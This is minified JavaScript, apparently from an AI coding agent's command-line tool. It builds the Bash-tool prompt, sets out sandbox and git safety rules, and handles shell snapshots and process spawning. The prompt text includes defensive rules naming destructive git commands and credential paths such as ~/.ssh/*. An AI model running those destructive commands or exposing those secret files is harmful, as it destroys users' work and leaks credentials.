Ay2(){if(!S8.isSandboxingEnabled())return"";let A=S8.getFsReadConfig(),K=S8.getFsWriteConfig(),q=S8.getNetworkRestrictionConfig(),Y=S8.getAllowUnixSockets(),z=S8.getIgnoreViolations(),w=S8.areUnsandboxedCommandsAllowed(),H={read:A,write:K},J={...q?.allowedHosts&&{allowedHosts:q.allowedHosts},...q?.deniedHosts&&{deniedHosts:q.deniedHosts},...Y&&{allowUnixSockets:Y}},O=[];if(Object.keys(H).length>0)O.push(` - Filesystem: ${UA(H,null,2).split(` `).join(` `)}`);if(Object.keys(J).length>0)O.push(` - Network: ${UA(J,null,2).split(` `).join(` `)}`);if(z)O.push(` - Ignored violations: ${UA(z,null,2).split(` `).join(` `)}`);let X=sH()?" - EXCEPTION: `mcp-cli` commands must always be called with `dangerouslyDisableSandbox: true` as they do not work properly in sandboxed mode\n":"",$=w?` - CRITICAL: Commands run in sandbox mode by default - do NOT set \`dangerouslyDisableSandbox\` - Even if you have recently run commands with \`dangerouslyDisableSandbox: true\`, you MUST NOT continue that pattern - VERY IMPORTANT: Do NOT learn from or repeat the pattern of overriding sandbox - each command should run sandboxed by default ${X} - Set \`dangerouslyDisableSandbox: true\` if: 1. The user *explicitly* asks to bypass sandbox, OR 2. A command just failed and you see evidence of sandbox restrictions causing the failure - When analyzing failures: - Commands can fail for many reasons unrelated to the sandbox (missing files, wrong arguments, network issues, etc.) - Evidence of sandbox-caused failures includes: - "Operation not permitted" errors for file/network operations - Access denied to specific paths outside allowed directories - Network connection failures to non-whitelisted hosts - Unix socket connection errors - Sandbox violation logs can be noisy, but clear permission errors are strong indicators - When you see evidence of sandbox-caused failure: - IMMEDIATELY retry with \`dangerouslyDisableSandbox: true\` (don't ask, just do it) - Briefly explain what sandbox restriction likely caused the failure - Mention: "Use \`/sandbox\` to manage restrictions" - This will prompt the user for permission - Example of normal usage: { "command": "ls", "description": "List files" } - Example of override: { "command": "my-tool", "description": "Run my-tool", "dangerouslyDisableSandbox": true } - DO NOT suggest adding sensitive paths like ~/.bashrc, ~/.zshrc, ~/.ssh/*, or credential files to the allowlist`:" - CRITICAL: All commands MUST run in sandbox mode - the `dangerouslyDisableSandbox` parameter is disabled by policy\n - Commands cannot run outside the sandbox under any circumstances\n - If a command fails due to sandbox restrictions, work with the user to adjust sandbox settings instead";return`- Commands run in a sandbox by default with the following restrictions: ${O.join(` `)} ${$} - IMPORTANT: For temporary files, use \`/tmp/claude/\` as your temporary directory - The TMPDIR environment variable is automatically set to \`/tmp/claude\` when running in sandbox mode - Do NOT use \`/tmp\` directly - use \`/tmp/claude/\` or rely on TMPDIR instead - Most programs that respect TMPDIR will automatically use \`/tmp/claude/\``}function Ky2(){if(P1(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS))return"";return"\n - You can use the `run_in_background` parameter to run the command in the background. Only use this if you don't need the result immediately and are OK being notified when the command completes later. You do not need to check the output right away - you'll be notified when it finishes. You do not need to use '&' at the end of the command when using this parameter."}function WOK(){return`Executes a given bash command with optional timeout. Working directory persists between commands; shell state (everything else) does not. The shell environment is initialized from the user's profile (bash or zsh). IMPORTANT: This tool is for terminal operations like git, npm, docker, etc. DO NOT use it for file operations (reading, writing, editing, searching, finding files) - use the specialized tools for this instead. Before executing the command, please follow these steps: 1. Directory Verification: - If the command will create new directories or files, first use \`ls\` to verify the parent directory exists and is the correct location - For example, before running "mkdir foo/bar", first use \`ls foo\` to check that "foo" exists and is the intended parent directory 2. Command Execution: - Always quote file paths that contain spaces with double quotes (e.g., cd "path with spaces/file.txt") - Examples of proper quoting: - cd "/Users/name/My Documents" (correct) - cd /Users/name/My Documents (incorrect - will fail) - python "/path/with spaces/script.py" (correct) - python /path/with spaces/script.py (incorrect - will fail) - After ensuring proper quoting, execute the command. - Capture the output of the command. Usage notes: - The command argument is required. - You can specify an optional timeout in milliseconds (up to ${kN1()}ms / ${kN1()/60000} minutes). If not specified, commands will timeout after ${EN1()}ms (${EN1()/60000} minutes). - It is very helpful if you write a clear, concise description of what this command does. For simple commands, keep it brief (5-10 words). For complex commands (piped commands, obscure flags, or anything hard to understand at a glance), add enough context to clarify what it does. - If the output exceeds ${MpA()} characters, output will be truncated before being returned to you. ${Ky2()} ${Ay2()} - Avoid using Bash with the \`find\`, \`grep\`, \`cat\`, \`head\`, \`tail\`, \`sed\`, \`awk\`, or \`echo\` commands, unless explicitly instructed or when these commands are truly necessary for the task. Instead, always prefer using the dedicated tools for these commands: - File search: Use ${hH} (NOT find or ls) - Content search: Use ${Fz} (NOT grep or rg) - Read files: Use ${eq} (NOT cat/head/tail) - Edit files: Use ${m5} (NOT sed/awk) - Write files: Use ${Qz} (NOT echo >/cat <<EOF) - Communication: Output text directly (NOT echo/printf) - When issuing multiple commands: - If the commands are independent and can run in parallel, make multiple ${G7} tool calls in a single message. For example, if you need to run "git status" and "git diff", send a single message with two ${G7} tool calls in parallel. - If the commands depend on each other and must run sequentially, use a single ${G7} call with '&&' to chain them together (e.g., \`git add . && git commit -m "message" && git push\`). For instance, if one operation must complete before another starts (like mkdir before cp, Write before Bash for git operations, or git add before git commit), run these operations sequentially instead. - Use ';' only when you need to run commands sequentially but don't care if earlier commands fail - DO NOT use newlines to separate commands (newlines are ok in quoted strings) - Try to maintain your current working directory throughout the session by using absolute paths and avoiding usage of \`cd\`. You may use \`cd\` if the User explicitly requests it. <good-example> pytest /foo/bar/tests </good-example> <bad-example> cd /foo/bar && pytest tests </bad-example> ${qy2()}`}function qy2(){let A="You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance.",{commit:K,pr:q}=dY1();return`# Committing changes with git Only create commits when requested by the user. If unclear, ask first. When the user asks you to create a new git commit, follow these steps carefully: Git Safety Protocol: - NEVER update the git config - NEVER run destructive git commands (push --force, reset --hard, checkout ., restore ., clean -f, branch -D) unless the user explicitly requests these actions. Taking unauthorized destructive actions is unhelpful and can result in lost work, so it's best to ONLY run these commands when given direct instructions - NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it - NEVER run force push to main/master, warn the user if they request it - CRITICAL: Always create NEW commits rather than amending, unless the user explicitly requests a git amend. When a pre-commit hook fails, the commit did NOT happen — so --amend would modify the PREVIOUS commit, which may result in destroying work or losing previous changes. Instead, after hook failure, fix the issue, re-stage, and create a NEW commit - When staging files, prefer adding specific files by name rather than using "git add -A" or "git add .", which can accidentally include sensitive files (.env, credentials) or large binaries - NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive 1. ${A} run the following bash commands in parallel, each using the ${G7} tool: - Run a git status command to see all untracked files. IMPORTANT: Never use the -uall flag as it can cause memory issues on large repos. - Run a git diff command to see both staged and unstaged changes that will be committed. - Run a git log command to see recent commit messages, so that you can follow this repository's commit message style. 2. Analyze all staged changes (both previously staged and newly added) and draft a commit message: - Summarize the nature of the changes (eg. new feature, enhancement to an existing feature, bug fix, refactoring, test, docs, etc.). Ensure the message accurately reflects the changes and their purpose (i.e. "add" means a wholly new feature, "update" means an enhancement to an existing feature, "fix" means a bug fix, etc.). - Do not commit files that likely contain secrets (.env, credentials.json, etc). Warn the user if they specifically request to commit those files - Draft a concise (1-2 sentences) commit message that focuses on the "why" rather than the "what" - Ensure it accurately reflects the changes and their purpose 3. ${A} run the following commands: - Add relevant untracked files to the staging area. - Create the commit with a message${K?` ending with: ${K}`:"."} - Run git status after the commit completes to verify success. Note: git status depends on the commit completing, so run it sequentially after the commit. 4. If the commit fails due to pre-commit hook: fix the issue and create a NEW commit Important notes: - NEVER run additional commands to read or explore code, besides git bash commands - NEVER use the ${o0.name} or ${Nq} tools - DO NOT push to the remote repository unless the user explicitly asks you to do so - IMPORTANT: Never use git commands with the -i flag (like git rebase -i or git add -i) since they require interactive input which is not supported. - IMPORTANT: Do not use --no-edit with git rebase commands, as the --no-edit flag is not a valid option for git rebase. - If there are no changes to commit (i.e., no untracked files and no modifications), do not create an empty commit - In order to ensure good formatting, ALWAYS pass the commit message via a HEREDOC, a la this example: <example> git commit -m "$(cat <<'EOF' Commit message here.${K?` ${K}`:""} EOF )" </example> # Creating pull requests Use the gh command via the Bash tool for ALL GitHub-related tasks including working with issues, pull requests, checks, and releases. If given a Github URL use the gh command to get the information needed. IMPORTANT: When the user asks you to create a pull request, follow these steps carefully: 1. ${A} run the following bash commands in parallel using the ${G7} tool, in order to understand the current state of the branch since it diverged from the main branch: - Run a git status command to see all untracked files (never use -uall flag) - Run a git diff command to see both staged and unstaged changes that will be committed - Check if the current branch tracks a remote branch and is up to date with the remote, so you know if you need to push to the remote - Run a git log command and \`git diff [base-branch]...HEAD\` to understand the full commit history for the current branch (from the time it diverged from the base branch) 2. Analyze all changes that will be included in the pull request, making sure to look at all relevant commits (NOT just the latest commit, but ALL commits that will be included in the pull request!!!), and draft a pull request title and summary: - Keep the PR title short (under 70 characters) - Use the description/body for details, not the title 3. ${A} run the following commands in parallel: - Create new branch if needed - Push to remote with -u flag if needed - Create PR using gh pr create with the format below. Use a HEREDOC to pass the body to ensure correct formatting. <example> gh pr create --title "the pr title" --body "$(cat <<'EOF' ## Summary <1-3 bullet points> ## Test plan [Bulleted markdown checklist of TODOs for testing the pull request...]${q?` ${q}`:""} EOF )" </example> Important: - DO NOT use the ${o0.name} or ${Nq} tools - Return the PR URL when you're done, so the user can see it # Other common operations - View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`}var CN1=k(()=>{rE();cO();jV();XXA();cY1();Z1();kNA();SH();IG();b1();l6();of()});function Cu6(A){if(/\d\s*<<\s*\d/.test(A)||/\[\[\s*\d+\s*<<\s*\d+\s*\]\]/.test(A)||/\$\(\(.*<<.*\)\)/.test(A))return!1;return/<<-?\s*(?:(['"]?)(\w+)\1|\\(\w+))/.test(A)}function Yy2(A){let K=/'(?:[^'\\]|\\.)*\n(?:[^'\\]|\\.)*'/,q=/"(?:[^"\\]|\\.)*\n(?:[^"\\]|\\.)*"/;return K.test(A)||q.test(A)}function DOK(A,K=!0){if(Cu6(A)||Yy2(A)){let Y=`'${A.replace(/'/g,`'"'"'`)}'`;if(Cu6(A))return Y;return K?`${Y} < /dev/null`:Y}if(K)return R4([A,"<","/dev/null"]);return R4([A])}function zy2(A){return/(?:^|[\s;&|])<(?![<(])\s*\S+/.test(A)}function jOK(A){if(Cu6(A))return!1;if(zy2(A))return!1;return!0}var MOK=k(()=>{gO()});function VOK(A){if(A.includes("`"))return R4([A,"<","/dev/null"]);if(A.includes("$("))return R4([A,"<","/dev/null"]);if(Oy2(A))return R4([A,"<","/dev/null"]);let K=Bz(A);if(!K.success)return R4([A,"<","/dev/null"]);let q=K.tokens,Y=wy2(q);if(Y<=0)return R4([A,"<","/dev/null"]);let z=[...POK(q,0,Y),"< /dev/null",...POK(q,Y,q.length)];return R4([z.join(" ")])}function wy2(A){for(let K=0;K<A.length;K++){let q=A[K];if(Lu6(q,"|"))return K}return-1}function POK(A,K,q){let Y=[],z=!1;for(let w=K;w<q;w++){let H=A[w];if(typeof H==="string"&&/^[012]$/.test(H)&&w+2<q&&Lu6(A[w+1])){let J=A[w+1],O=A[w+2];if(J.op===">&"&&typeof O==="string"&&/^[012]$/.test(O)){Y.push(`${H}>&${O}`),w+=2;continue}if(J.op===">"&&O==="/dev/null"){Y.push(`${H}>/dev/null`),w+=2;continue}if(J.op===">"&&typeof O==="string"&&O.startsWith("&")){let X=O.slice(1);if(/^[012]$/.test(X)){Y.push(`${H}>&${X}`),w+=2;continue}}}if(typeof H==="string")if(!z&&Hy2(H)){let O=H.indexOf("="),X=H.slice(0,O),$=H.slice(O+1),_=R4([$]);Y.push(`${X}=${_}`)}else z=!0,Y.push(R4([H]));else if(Lu6(H)){if(H.op==="glob"&&"pattern"in H)Y.push(H.pattern);else if(Y.push(H.op),Jy2(H.op))z=!1}}return Y}function Hy2(A){return/^[A-Za-z_][A-Za-z0-9_]*=/.test(A)}function Jy2(A){return A==="&&"||A==="||"||A===";"}function Lu6(A,K){if(!A||typeof A!=="object"||!("op"in A))return!1;return K?A.op===K:!0}function Oy2(A){return/\b(for|while|until|if|case|select)\s/.test(A)}var fOK=k(()=>{gO()});import{existsSync as PpA,statSync as Xy2,mkdirSync as $y2,realpathSync as _y2}from"node:fs";import{execFile as Gy2}from"node:child_process";import{join as yu6}from"node:path";import*as LN1 from"node:os";function Zy2(){let A=UwA(),K=R4([A.rgPath]);if(A.argv0)return{type:"function",snippet:["function rg {"," if [[ -n $ZSH_VERSION ]]; then",` ARGV0=rg ${K} "$@"`,' elif [[ "$OSTYPE" == "msys" ]] || [[ "$OSTYPE" == "cygwin" ]] || [[ "$OSTYPE" == "win32" ]]; then',` ARGV0=rg ${K} "$@"`," elif [[ $BASHPID != $$ ]]; then",` exec -a rg ${K} "$@"`," else",` (exec -a rg ${K} "$@")`," fi","}"].join(` `)};let q=A.rgArgs.map((z)=>R4([z]));return{type:"alias",snippet:A.rgArgs.length>0?`${K} ${q.join(" ")}`:K}}function Iu6(A){let K=A.includes("zsh")?".zshrc":A.includes("bash")?".bashrc":".profile";return yu6(LN1.homedir(),K)}function Wy2(A){let K=A.endsWith(".zshrc"),q="";if(K)q+=` echo "# Functions" >> "$SNAPSHOT_FILE" # Force autoload all functions first typeset -f > /dev/null 2>&1 # Now get user function names - filter system ones and write directly to file typeset +f | grep -vE '^(_|__)' | while read func; do typeset -f "$func" >> "$SNAPSHOT_FILE" done `;else q+=` echo "# Functions" >> "$SNAPSHOT_FILE" # Force autoload all functions first declare -f > /dev/null 2>&1 # Now get user function names - filter system ones and give the rest to eval in b64 encoding declare -F | cut -d' ' -f3 | grep -vE '^(_|__)' | while read func; do # Encode the function to base64, preserving all special characters encoded_func=$(declare -f "$func" | base64 ) # Write the function definition to the snapshot echo "eval ${Ru6}"${Ru6}$(echo '$encoded_func' | base64 -d)${Ru6}" > /dev/null 2>&1" >> "$SNAPSHOT_FILE" done `;if(K)q+=` echo "# Shell Options" >> "$SNAPSHOT_FILE" setopt | sed 's/^/setopt /' | head -n 1000 >> "$SNAPSHOT_FILE" `;else q+=` echo "# Shell Options" >> "$SNAPSHOT_FILE" shopt -p | head -n 1000 >> "$SNAPSHOT_FILE" set -o | grep "on" | awk '{print "set -o " $1}' | head -n 1000 >> "$SNAPSHOT_FILE" echo "shopt -s expand_aliases" >> "$SNAPSHOT_FILE" `;return q+=` echo "# Aliases" >> "$SNAPSHOT_FILE" # Filter out winpty aliases on Windows to avoid "stdin is not a tty" errors # Git Bash automatically creates aliases like "alias node='winpty node.exe'" for # programs that need Win32 Console in mintty, but winpty fails when there's no TTY if [[ "$OSTYPE" == "msys" ]] || [[ "$OSTYPE" == "cygwin" ]]; then alias | grep -v "='winpty " | sed 's/^alias //g' | sed 's/^/alias -- /' | head -n 1000 >> "$SNAPSHOT_FILE" else alias | sed 's/^alias //g' | sed 's/^/alias -- /' | head -n 1000 >> "$SNAPSHOT_FILE" fi `,q}function Dy2(){if(!sH())return null;try{let A=n9()?process.execPath:process.argv[1];if(!A)return null;try{A=_y2(A)}catch{}if(o6()==="windows")A=Kb(A);return{cliPath:A,args:["--mcp-cli"]}}catch(A){return KA(A instanceof Error?A:Error(String(A))),null}}async function jy2(){let A=process.env.PATH;if(o6()==="windows"){let z=await wY("echo $PATH",{shell:!0,reject:!1});if(z.exitCode===0&&z.stdout)A=z.stdout.trim()}let K=Zy2(),q=Dy2(),Y="";if(Y+=` # Check for rg availability echo "# Check for rg availability" >> "$SNAPSHOT_FILE" echo "if ! (unalias rg 2>/dev/null; command -v rg) >/dev/null 2>&1; then" >> "$SNAPSHOT_FILE" `,K.type==="function")Y+=` cat >> "$SNAPSHOT_FILE" << 'RIPGREP_FUNC_END' ${K.snippet} RIPGREP_FUNC_END `;else{let z=K.snippet.replace(/'/g,"'\\''");Y+=` echo ' alias rg='"'${z}'" >> "$SNAPSHOT_FILE" `}if(Y+=` echo "fi" >> "$SNAPSHOT_FILE" `,q){let z=R4([q.cliPath]),w=q.args.map((J)=>R4([J])),H=`${z} ${w.join(" ")}`;Y+=` # Check for mcp-cli availability echo "# Check for mcp-cli availability" >> "$SNAPSHOT_FILE" echo "if ! command -v mcp-cli >/dev/null 2>&1; then" >> "$SNAPSHOT_FILE" echo ' alias mcp-cli='"'${H.replace(/'/g,"'\\''")}'" >> "$SNAPSHOT_FILE" echo "fi" >> "$SNAPSHOT_FILE" `}return Y+=` # Add PATH to the file echo "export PATH=${R4([A||""])}" >> "$SNAPSHOT_FILE" `,Y}async function My2(A,K,q){let Y=Iu6(A),z=Y.endsWith(".zshrc"),w=q?Wy2(Y):!z?'echo "shopt -s expand_aliases" >> "$SNAPSHOT_FILE"':"",H=await jy2();return`SNAPSHOT_FILE=${R4([K])} ${q?`source "${Y}" < /dev/null`:"# No user config file to source"} # First, create/clear the snapshot file echo "# Snapshot file" >| "$SNAPSHOT_FILE" # When this file is sourced, we first unalias to avoid conflicts # This is necessary because aliases get "frozen" inside function definitions at definition time, # which can cause unexpected behavior when functions use commands that conflict with aliases echo "# Unset all aliases to avoid conflicts with functions" >> "$SNAPSHOT_FILE" echo "unalias -a 2>/dev/null || true" >> "$SNAPSHOT_FILE" ${w} ${H} # Exit silently on success, only report errors if [ ! -f "$SNAPSHOT_FILE" ]; then echo "Error: Snapshot file was not created at $SNAPSHOT_FILE" >&2 exit 1 fi `}var Ru6="\\",NOK=1e4,TOK=async(A)=>{let K=A.includes("zsh")?"zsh":A.includes("bash")?"bash":"sh";return h(`Creating shell snapshot for ${K} (${A})`),new Promise(async(q)=>{try{let Y=Iu6(A);h(`Looking for shell config file: ${Y}`);let z=PpA(Y);if(!z)h(`Shell config file not found: ${Y}, creating snapshot with Claude Code defaults only`);let w=Date.now(),H=Math.random().toString(36).substring(2,8),J=yu6(w8(),"shell-snapshots");h(`Snapshots directory: ${J}`);let O=yu6(J,`snapshot-${K}-${w}-${H}.sh`);$y2(J,{recursive:!0});let X=await My2(A,O,z);h(`Creating snapshot at: ${O}`),h(`Shell binary exists: ${PpA(A)}`),h(`Execution timeout: ${NOK}ms`),Gy2(A,["-c","-l",X],{env:{...process.env.CLAUDE_CODE_DONT_INHERIT_ENV?{}:process.env,SHELL:A,GIT_EDITOR:"true",CLAUDECODE:"1"},timeout:NOK,maxBuffer:1048576,encoding:"utf8"},async($,_,G)=>{if($){let Z=$;if(h(`Shell snapshot creation failed: ${$.message}`),h("Error details:"),h(` - Error code: ${Z?.code}`),h(` - Error signal: ${Z?.signal}`),h(` - Error killed: ${Z?.killed}`),h(` - Shell path: ${A}`),h(` - Config file: ${Iu6(A)}`),h(` - Config file exists: ${z}`),h(` - Working directory: ${x1()}`),h(` - Claude home: ${w8()}`),h(`Full snapshot script: ${X}`),_)h(`stdout output (${_.length} chars): ${_}`);else h("No stdout output captured");if(G)h(`stderr output (${G.length} chars): ${G}`);else h("No stderr output captured");KA(Error(`Failed to create shell snapshot: ${$.message}`));let W=Z?.signal?LN1.constants.signals[Z.signal]:void 0;n("tengu_shell_snapshot_failed",{stderr_length:G?.length||0,has_error_code:!!Z?.code,error_signal_number:W,error_killed:Z?.killed}),q(void 0)}else if(PpA(O)){let Z=Xy2(O).size;h(`Shell snapshot created successfully (${Z} bytes)`),kK(async()=>{try{if(PpA(O))BA().unlinkSync(O),h(`Cleaned up session snapshot: ${O}`)}catch(W){h(`Error cleaning up session snapshot: ${W}`)}}),q(O)}else{h(`Shell snapshot file not found after creation: ${O}`),h(`Checking if parent directory still exists: ${J}`);let Z=PpA(J);if(h(`Parent directory exists: ${Z}`),Z)try{let W=BA().readdirSync(J);h(`Directory contains ${W.length} files`)}catch(W){h(`Could not read directory contents: ${W}`)}n("tengu_shell_unknown_error",{}),q(void 0)}})}catch(Y){if(h(`Unexpected error during snapshot creation: ${Y}`),Y instanceof Error)h(`Error stack trace: ${Y.stack}`);KA(Y instanceof Error?Y:Error(String(Y))),n("tengu_shell_snapshot_error",{}),q(void 0)}})};var vOK=k(()=>{gO();rP();C1();l1();l6();R2();e6();B5();Z1();wb();y4();xwA();IG()});function COK(){if(!EOK||kOK===null)return null;return`${EOK},${kOK},0`}var EOK=null,kOK=null;var LOK=k(()=>{CK();Z1();C1();R2()});import{constants as Py2,readFileSync as Vy2,existsSync as fy2,unlinkSync as Ny2}from"node:fs";import{execFileSync as Ty2,spawn as vy2}from"node:child_process";import{isAbsolute as Ey2,resolve as ky2}from"node:path";import{join as Su6}from"node:path/posix";import*as ROK from"node:os";import{accessSync as Cy2}from"fs";function hu6(A){try{return Cy2(A,Py2.X_OK),!0}catch(K){try{return Ty2(A,["--version"],{timeout:1000,stdio:"ignore"}),!0}catch{return!1}}}function yy2(A){if(process.env.CLAUDE_CODE_SHELL_PREFIX)return"{ shopt -u extglob || setopt NO_EXTENDED_GLOB; } >/dev/null 2>&1 || true";if(A.includes("bash"))return"shopt -u extglob 2>/dev/null || true";else if(A.includes("zsh"))return"setopt NO_EXTENDED_GLOB 2>/dev/null || true";return null}async function Iy2(){let A=process.env.CLAUDE_CODE_SHELL;if(A)if((A.includes("bash")||A.includes("zsh"))&&hu6(A))return h(`Using shell override: ${A}`),A;else h(`CLAUDE_CODE_SHELL="${A}" is not a valid bash/zsh path, falling back to detection`);let K=process.env.SHELL,q=K&&(K.includes("bash")||K.includes("zsh")),Y=K?.includes("bash"),[z,w]=await Promise.all([AV("zsh"),AV("bash")]),H=["/bin","/usr/bin","/usr/local/bin","/opt/homebrew/bin"],O=(Y?["bash","zsh"]:["zsh","bash"]).flatMap(($)=>H.map((_)=>`${_}/${$}`));if(Y){if(w)O.unshift(w);if(z)O.push(z)}else{if(z)O.unshift(z);if(w)O.push(w)}if(q&&hu6(K))O.unshift(K);let X=O.find(($)=>$&&hu6($));if(!X){let $="No suitable shell found. Claude CLI requires a Posix shell environment. Please ensure you have a valid shell installed and the SHELL environment variable set.";throw KA(Error($)),Error($)}return X}async function Sy2(){let A=await Iy2(),K;try{K=await TOK(A)}catch(q){h(`Failed to create shell snapshot: ${q}`),K=void 0}return{binShell:A,snapshotFilePath:K}}async function RN1(A,K,q,Y,z,w,H,J){let O=q||Ly2,{binShell:X,snapshotFilePath:$}=await bu6();if(Y)X=Y,$=void 0;let _=Math.floor(Math.random()*65536).toString(16).padStart(4,"0"),G=ROK.tmpdir();if(o6()==="windows")G=Kb(G);let Z=Su6(process.env.CLAUDE_CODE_TMPDIR||"/tmp",xu6()),W=H?Su6(Z,`cwd-${_}`):Su6(G,`claude-${_}-cwd`),D=jOK(A),j=DOK(A,D);if(!H&&A.includes("|")&&D)j=VOK(A);let M=[];if($){if(!fy2($))h(`Snapshot file missing, recreating: ${$}`),bu6.cache?.clear?.(),$=(await bu6()).snapshotFilePath;if($){let x=o6()==="windows"?Kb($):$;M.push(`source ${R4([x])}`)}}let P=fM7();if(P)M.push(P);let f=yy2(X);if(f)M.push(f);M.push(`eval ${j}`),M.push(`pwd -P >| ${W}`);let N=M.join(" && ");if(process.env.CLAUDE_CODE_SHELL_PREFIX)N=S_1(process.env.CLAUDE_CODE_SHELL_PREFIX,N);let T=VrA();if(K.aborted)return WM7();if(H){N=await S8.wrapWithSandbox(N,X,void 0,K);try{BA().mkdirSync(Z,{mode:448})}catch(x){h(`Failed to create ${Z} directory: ${x}`)}}let C=P1(process.env.CLAUDE_BASH_NO_LOGIN)&&$!==void 0,R=["-c",...C?[]:["-l"],N];if(C)h("Spawning shell without login (-l flag skipped)");try{let x=COK(),y=vy2(X,R,{env:{...process.env,SHELL:X,GIT_EDITOR:"true",CLAUDECODE:"1",...Ry2,...{},...H?{TMPDIR:Z,CLAUDE_CODE_TMPDIR:Z}:{},...x?{TMUX:x}:{}},cwd:T,detached:!0}),B=I_1(y,K,O,z,J);return B.result.then(async(b)=>{if(b&&!w&&!b.backgroundTaskId)try{Cv(Vy2(W,{encoding:"utf8"}).trim(),T)}catch{n("tengu_shell_set_cwd",{success:!1})}try{Ny2(W)}catch{}}),B}catch(x){return h(`Shell exec error: ${x instanceof Error?x.message:String(x)}`),{status:"killed",background:()=>null,kill:()=>{},cleanup:()=>{},result:Promise.resolve({code:126,stdout:"",stderr:x instanceof Error?x.message:String(x),interrupted:!1})}}}function Cv(A,K){let q=Ey2(A)?A:ky2(K||BA().cwd(),A);if(!BA().existsSync(q))throw Error(`Path "${q}" does not exist`);let Y=BA().realpathSync(q);nn6(Y);try{n("tengu_shell_set_cwd",{success:!0})}catch(z){}}var Ly2=1800000,Ry2,bu6;var ld=k(()=>{gO();GP6();MOK();Ki();C1();l1();_P6();e6();q6();xwA();B5();Z1();fOK();vOK();p7();y4();SH();h_1();Xz();LOK();l6();Ry2=o6()==="windows"&&!process.env.SHELLOPTS?{SHELLOPTS:"igncr"}:{};bu6=z6(Sy2)});function uu6(A){let K=A.split(` `),q=0;while(q<K.length&&K[q]?.trim()==="")q++;let Y=K.length-1;while(Y>=0&&K[Y]?.trim()==="")Y--;if(q>Y)return"";return K.slice(q,Y+1).join(` `)}function Bu6(A){return/^data:image\/[a-z0-9.+_-]+;base64,/i.test(A)}function yN1(A){let K=Bu6(A);if(K)return{totalLines:1,truncatedContent:A,isImage:K};let q=MpA();if(A.length<=q)return{totalLines:A.split(` `).length,truncatedContent:A,isImage:K};let Y=A.slice(0,q),z=A.slice(q).split(` `).length,w=`${Y} ... [${z} lines truncated] ...`;return{totalLines:A.split(` `).length,truncatedContent:w,isImage:K}}function SN1(A){if(ER1()||!FS(x1(),A)){if(Cv(V8()),!ER1())return n("tengu_bash_tool_reset_to_original_dir",{}),!0}return!1}async function yOK(A,K,q,Y){let z=K.length>duA?K.slice(0,duA)+` ... [output truncated]`:K,H=(await D$({systemPrompt:[`Extract any file paths that this command reads or modifies. For commands like "git diff" and "cat", include the paths of files being shown. Use paths verbatim -- don't add any slashes or try to resolve them. Do not try to infer paths that were not explicitly listed in the command output. IMPORTANT: Commands that do not display the contents of the files should not return any filepaths. For eg. "ls", pwd", "find". Even more complicated commands that don't display the contents should not be considered: eg "find . -type f -exec ls -la {} + | sort -k5 -nr | head -5" First, determine if the command displays the contents of the files. If it does, then <is_displaying_contents> tag should be true. If it does not, then <is_displaying_contents> tag should be false. Format your response as: <is_displaying_contents> true </is_displaying_contents> <filepaths> path/to/file1 path/to/file2 </filepaths> If no files are read or modified, return empty filepaths tags: <filepaths> </filepaths> Do not include any other text in your response.`],userPrompt:`Command: ${A} Output: ${z}`,signal:q,options:{enablePromptCaching:!0,querySource:"bash_extract_command_paths",agents:[],isNonInteractiveSession:Y,hasAppendSystemPrompt:!1,mcpTools:[]}})).message.content.filter((J)=>J.type==="text").map((J)=>J.text).join("");return i7(H,"filepaths")?.trim().split(` `).filter(Boolean)||[]}function IOK(A){let K=[],q=0,Y=0;for(let w of A)if(w.type==="image")Y++;else if(w.type==="text"&&"text"in w){q++;let H=w.text.slice(0,200);K.push(H+(w.text.length>200?"...":""))}let z=[];if(Y>0)z.push(`[${Y} image${Y>1?"s":""}]`);if(q>0)z.push(`[${q} text block${q>1?"s":""}]`);return`MCP Result: ${z.join(", ")}${K.length>0?` `+K.join(` `):""}`}var IN1=(A)=>`${A.trim()} Shell cwd was reset to ${V8()}`;var jPA=k(()=>{l6();sz();$8();CN1();Xz();q6();l1();y4();ld()});function mu6(A){if(!A)return"";let K=Array.isArray(A)?A.join(""):A,{truncatedContent:q}=yN1(K);return q}function by2(A){if(typeof A["image/png"]==="string")return{image_data:A["image/png"].replace(/\s/g,""),media_type:"image/png"};if(typeof A["image/jpeg"]==="string")return{image_data:A["image/jpeg"].replace(/\s/g,""),media_type:"image/jpeg"};return}function xy2(A){switch(A.output_type){case"stream":return{output_type:A.output_type,text:mu6(A.text)};case"execute_result":case"display_data":return{output_type:A.output_type,text:mu6(A.data?.["text/plain"]),image:A.data&&by2(A.data)};case"error":return{output_type:A.output_type,text:mu6(`${A.ename}: ${A.evalue} ${A.traceback.join(` `)}`)}}}function SOK(A,K,q,Y){let z=A.id??`cell-${K}`,w={cellType:A.cell_type,source:Array.isArray(A.source)?A.source.join(""):A.source,execution_count:A.cell_type==="code"?A.execution_count||void 0:void 0,cell_id:z};if(A.cell_type==="code")w.language=q;if(A.cell_type==="code"&&A.outputs?.length){let H=A.outputs.map(xy2);if(!Y&&UA(H).length>1e4)w.outputs=[{output_type:"stream",text:`Outputs are too large to include. Use ${G7} with: cat <notebook_path> | jq '.cells[${K}].outputs'`}];else w.outputs=H}return w}function uy2(A){let K=[];if(A.cellType!=="code")K.push(`<cell_type>${A.cellType}</cell_type>`);if(A.language!=="python"&&A.cellType==="code")K.push(`<language>${A.language}</language>`);return{text:`<cell id="${A.cell_id}">${K.join("")}${A.source}</cell id="${A.cell_id}">`,type:"text"}}function By2(A){let K=[];if(A.text)K.push({text:` ${A.text}`,type:"text"});if(A.image)K.push({type:"image",source:{data:A.image.image_data,media_type:A.image.media_type,type:"base64"}});return K}function my2(A){let K=uy2(A),q=A.outputs?.flatMap(By2);return[K,...q??[]]}function hOK(A,K){let q=x7(A),Y=BA().readFileSync(q,{encoding:"utf-8"}),z=G6(Y),w=z.metadata.language_info?.name??"python";if(K){let H=z.cells.find((J)=>J.id===K);if(!H)throw Error(`Cell with ID "${K}" not found in notebook`);return[SOK(H,z.cells.indexOf(H),w,!0)]}return z.cells.map((H,J)=>SOK(H,J,w,!1))}function bOK(A,K){let q=A.flatMap(my2);return{tool_use_id:K,type:"tool_result",content:q.reduce((Y,z)=>{if(Y.length===0)return[z];let w=Y[Y.length-1];if(w&&w.type==="text"&&z.type==="text")return w.text+=` `+z.text,Y;return Y.push(z),Y},[])}}function ZUA(A){let 